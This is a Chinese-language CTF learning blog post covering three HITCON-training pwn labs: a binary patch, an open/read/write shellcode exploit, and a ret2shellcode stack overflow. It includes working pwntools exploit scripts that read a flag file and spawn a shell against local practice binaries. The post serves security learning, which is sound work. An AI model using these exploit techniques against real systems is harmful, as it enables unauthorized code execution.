……

Pwn-10月23-Hitcon(一)

继续二进制修炼,今天开始肝Hiton-training,膜着m4x,以及另一位大佬23R3F的题解蹒跚前行。

lab1-sysmagic

貌似第一题会比较简单,先用IDA-Pro静态分析一下:

貌似直接得到了一个能够输出flag的函数?由于这是个elf32位可执行文件所以我们需要在linux下面执行:

可以很简单就看懂逻辑,输入一个值,然后比较如果相等,得出flag。

解法1 - patch

IDA Pro – keypatch,使用keypatch插件来修改汇编代码,我们可以直接将关键的一步nop掉或者改成完全相反的操作。

例如将.text:08048722的跳转汇编指令改为jmp无条件跳转,或者是与jnz相反的jz操作。

修改为无条件跳转后需要将其保存到对应文件中:

然后去把文件挪到linux上运行试试发现并没有用,因为改为jmp后其函数直接少了一部分对flag的操作:

所以我们只能将原样本中的jnz改为jz了,改完之后函数已经成为不等则输出flag了:

运行效果:

解法2 - gdb set register value

通过gdb动态调试,并且在即将进行比较前,将 eax置为与edx相同的值即可:

然后即可得到flag。

lab2-orw

检查保护措施

checksec orw.bin,题目orw的意思是open,read,write这三个函数。

emmm这是我做的第一个开启了Stack保护的题目呢。

逻辑分析

简单跑一下可以看到直接是让你输入shellcode:

放IDA pro里面看看:

细看一下orw_seccomp()函数:

prctl函数又是啥玩意儿?Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。而有一道强网杯题目就好像用了这玩意儿的技术?

输入shellcode之后应该会执行,所以这题的目的是让我们自己构造shellcode去读取flag?既然要构造shellcode,那就需要用到pwntools的asm模块和shellcraft模块:

asm模块是将操作转换为汇编命令,而shellcraft是具有各种函数对应汇编命令的一个模块,十分好用:

pwntools中的context模块又是用来干嘛的呢?

context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

例如context(os='linux', arch='amd64', log_level='debug')

这句话的意思是:

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

exp

根据题意和题解😂(正处于涨姿势的时候)写出exp:


#!/usr/bin/env python
#coding:utf-8

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/xiaoyifeng/ctf/pwn/Hiton/lab2/flag")
shellcode += sc.open("esp")
#  open返回的文件文件描述符存贮在eax寄存器里 
shellcode += sc.read("eax", "esp", 0x100)
#  open读取的内容放在栈顶 
#  write函数在栈顶读取0x100大小的内容并打印出来
shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
#print(asm(shellcode))
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()

运行效果:

lab3-ret2sc

题目名是return to shellcode的简写,应该是利用return返回然后执行shellcode之类的操作?

检查保护措施

checksec ret2sc

emmm没有开启啥保护,没有开启栈溢出检测,也没有开启栈不可执行(NX)。

逻辑分析

跑一下发现让我们输入字符串到Name里面,还有一个try your best?首先想到的是会不会又是啥栈溢出什么的。

嗯,情况是有的:

通过gdb动态调试可以发现在输入try your best 的值的时候可以发生溢出,并且将EIP指向我们构造的位置:

而这个临界值我们可以通过pattern search来查我们构造的pattern偏移量,得到为32。根据大佬的题解了解到return to shellcode是一种题型,我甚至想到了又用ROP chain???黑人问号.jpg😭。

原来return to shellcode的操作就是将shellcode写入name变量空间,然后通过返回到该地址从而执行shellcode(NX未开启,栈可执行)

该变量地址为0x804A060

构造EXP

这个exp需要用到shellcraft和asm,来将shellcode转为汇编指令:

#!/usr/bin/env python
#coding:utf-8

from pwn import *
context(os = "linux", arch = "i386",log_level="debug")

io = process("./ret2sc")

#获得sh的命令多种多样,并且有不同系统版本的sh
#shellcode = asm(shellcraft.execve("/bin/sh"))
shellcode = asm(shellcraft.i386.linux.sh())
io.sendlineafter(":", shellcode)

#flat模块能将pattern字符串和地址结合并且转为字节模式
payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)

io.interactive()
io.close()

运行效果:

小结

内容涉及 context 模式设置,asm模块,shellcraft模块,patch操作,return to shellcode题型,pwntools flat模块。

今天先混到这儿。。。我真菜😭。